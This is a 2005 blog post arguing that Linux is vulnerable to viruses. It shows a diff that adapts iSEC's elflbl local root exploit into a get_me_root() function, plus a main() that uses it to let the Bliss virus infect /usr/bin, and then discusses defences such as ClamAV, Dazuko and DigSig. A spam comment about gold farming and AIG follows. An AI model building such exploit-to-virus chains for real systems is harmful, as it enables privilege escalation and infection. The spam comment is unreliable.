Saturday, February 05, 2005

Non-root viruses for Linux

I had earlier mentioned that local exploits are remote exploits, and now come back to finish that thought. To complete the idea, I'll bring in the concept of computer viruses, which in general rely on local users running them. This is unlike worms, which propagate on their own via e-mailing themselves around or using remote exploits.

Today I've chosen a simple local root exploit and a virus to base from. Originally I was going to give source for the proof-of-concept; but the Bliss source was never really released. So we'll do this all in theory, no working proof-of-concept.

First, let's examine the exploit. Pretty simple program iSEC put out with straightforward usage. Among other things, ./exploit -c /bin/sh will get you a root shell. This leads us to an easy way to abuse this.

First, we'll want to create a get_me_root() function based on main(). The changes to main() are shown below. Also shown are modifications to some other functions. I haven't tested this, but this is the basic idea: return 0 when we have root. Any other case is bad, probably won't work, probably should die.

--- elflbl_v108.c 2005-02-05 13:38:32.357449720 -0500 +++ elflbl_v108_getmeroot.c 2005-02-05 13:50:09.950399472 -0500 @@ -379,30 +379,31 @@ volatile int r, *v; } signal(SIGTERM, SIG_IGN); kill(0, SIGTERM); - execl(shellname, "sh", NULL); - fatal("execl", 0); + /*no error! We have root :)*/ + return 0; } -void scan_mm_finish(); -void scan_mm_start(); +int scan_mm_finish(); +int scan_mm_start(); // kernel page table scan code -void scan_mm() +int scan_mm() { map_addr -= PAGE_SIZE; if(map_addr <= (unsigned)addr_min) - scan_mm_start(); + return scan_mm_start(); scnt=0; val = *(int*)map_addr; - scan_mm_finish(); + return scan_mm_finish(); } -void scan_mm_finish() +int scan_mm_finish() { + int a; retry: __asm__("movl %0, %%esp" : :"m"(old_esp) ); @@ -413,13 +414,15 @@ retry: sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED); } pidx--; - scan_mm(); + a = scan_mm(); + if (a) + return a; goto retry; } // make kernel page maps before and after allocating LDT -void scan_mm_start() +int scan_mm_start() { static int npg=0; static struct modify_ldt_ldt_s l; @@ -448,7 +451,7 @@ static struct modify_ldt_ldt_s l; } else if(npg == LDT_PAGES) { npg=0; - try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE); + return try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE); } else { npg=0; } @@ -459,7 +462,7 @@ static struct modify_ldt_ldt_s l; // save context & scan page table __asm__("movl %%esp, %0" : :"m"(old_esp) ); map_addr = addr_max; - scan_mm(); + return scan_mm(); } @@ -546,7 +549,7 @@ out: // use elf library and try to sleep on kmalloc -void exploitme() +int exploitme() { int r, sz, pcnt=0; static char smiley[]="-\\|/-\\|/"; @@ -647,11 +650,11 @@ expand: signal(SIGCHLD, reaper); signal(SIGSEGV, segvcnt); signal(SIGBUS, segvcnt); - scan_mm_start(); + return scan_mm_start(); failed: fatal("try again", 0); - + return -1; } @@ -698,7 +701,7 @@ int fd; // move stack down #2 -void prepare_finish() +int prepare_finish() { int r; static struct sysinfo si; @@ -735,12 +738,12 @@ static struct sysinfo si; // go go make_lib(); - exploitme(); + return exploitme(); } // move stack down #1 -void prepare() +int prepare() { unsigned p=0; @@ -756,7 +759,7 @@ unsigned p=0; : : "m"(old_esp), "m"(p) ); - prepare_finish(); + return prepare_finish(); } @@ -842,9 +845,12 @@ void usage(char *n) // give -s for forced stop, -b to clean SLAB -int main(int ac, char **av) +int get_me_root() { int r; +/*stuff ac/av with junk*/ +int ac = 1; +char **av = {"no"}; while(ac) { r = getopt(ac, av, "n:l:a:w:c:d:fsh"); @@ -899,7 +905,7 @@ int r; uid = getuid(); setpgrp(); wipe_slab(); - prepare(); -return 0; + /*got root?*/ + returnprepare(); }

Now that we have this, we'll do two more things: first, we'll assume Bliss can have its main() changed to run_bliss(). Second, we'll create our main().

int main() { if (getuid()) get_me_root(); if (!getuid()) run_bliss(); return 0; }

This is deceptively simple. The above simply executes any generic get_me_root(), such as the modified uselib() exploit or any other local root exploit, to get Bliss root. Then, any random user downloads a program infected with Bliss, runs it, and winds up infecting /usr/bin with viruses.

A slightly more complex virus could use getuid() to track the UID of the user before getting root access, and switch back afterwards, thus maintaining a better guise by not running any infected process as root. In either case, this displays something important: Linux can get viruses.

I believe that if Linux goes mainstream, it will be plagued by viruses, worms, trojans, and spyware to a lesser degree than Windows. This is because the local exploits needed to get root access and spread only have a short window of a few days to a few months, and thus such viruses will die in the wild after a short lifecycle. Nevertheless, steps must be taken to prevent infection in the worst case.

Currently ClamAV supplies the traditional anti-virus solution to viruses. This is good; but a user interface for Clam does not yet exist. ClamAV does not communicate with a process sitting in the Gnome notification area/system tray, and so user interaction with ClamAV is minimal. Still, ClamAV runs well as a daemon and can automatically locate and remove malicious code from the system--if a virus doesn't get root access and destroy it first.

ClamAV can be deployed with Dazuko to use Clamuko, an on-access scanner to check programs for viruses as soon as they're run. RSBAC comes with Dazuko, and allows malware scanning to be deferred to ClamAV via the MS module. This can catch known virus code as a user attempts to access it.

Neither of these solutions works proactively. The potential gap between a new virus being deployed and its discovery and integration into an anti-virus database is dangerous. The local exploits used could even be gone by that time. Digital signing of binaries, such as with DigSig, closes this gap by detecting changes to programs and libraries as they are loaded.

Viruses are not yet a reality on Linux, but they can easily become one. Linux won't be ready for mainstream until the standard distribution comes with countermeasures to stop viruses from spreading. This most likely will have to take the form of digitally signed binaries.


Blogger wow power leveling said...

Why was there no follow on bankruptcy then? The bailout of AIG FP went to (wow power leveling) hedge funds that bound credit swaps on Lehman failing or others betting on rating (wow power leveling) declines. AIG has drained over 100 billion from the government. Which had to go to those who bet on failures and downgrades. Many of whom (power leveling)were hedge funds. I-banks that had offsetting swaps needed the money from the AIG bailout or they would have been caught. Its an (wow powerleveling) insiders game and it takes just a little bit too much time for most people to think (wow gold) through where the AIG 100 billion bailout money went to, hedge funds and players, many of whom hire from the top ranks of DOJ, Fed, Treasury, CAOBO
wow goldwow goldwow goldwow gold CAOBO

9:51 PM  

Post a Comment

<< Home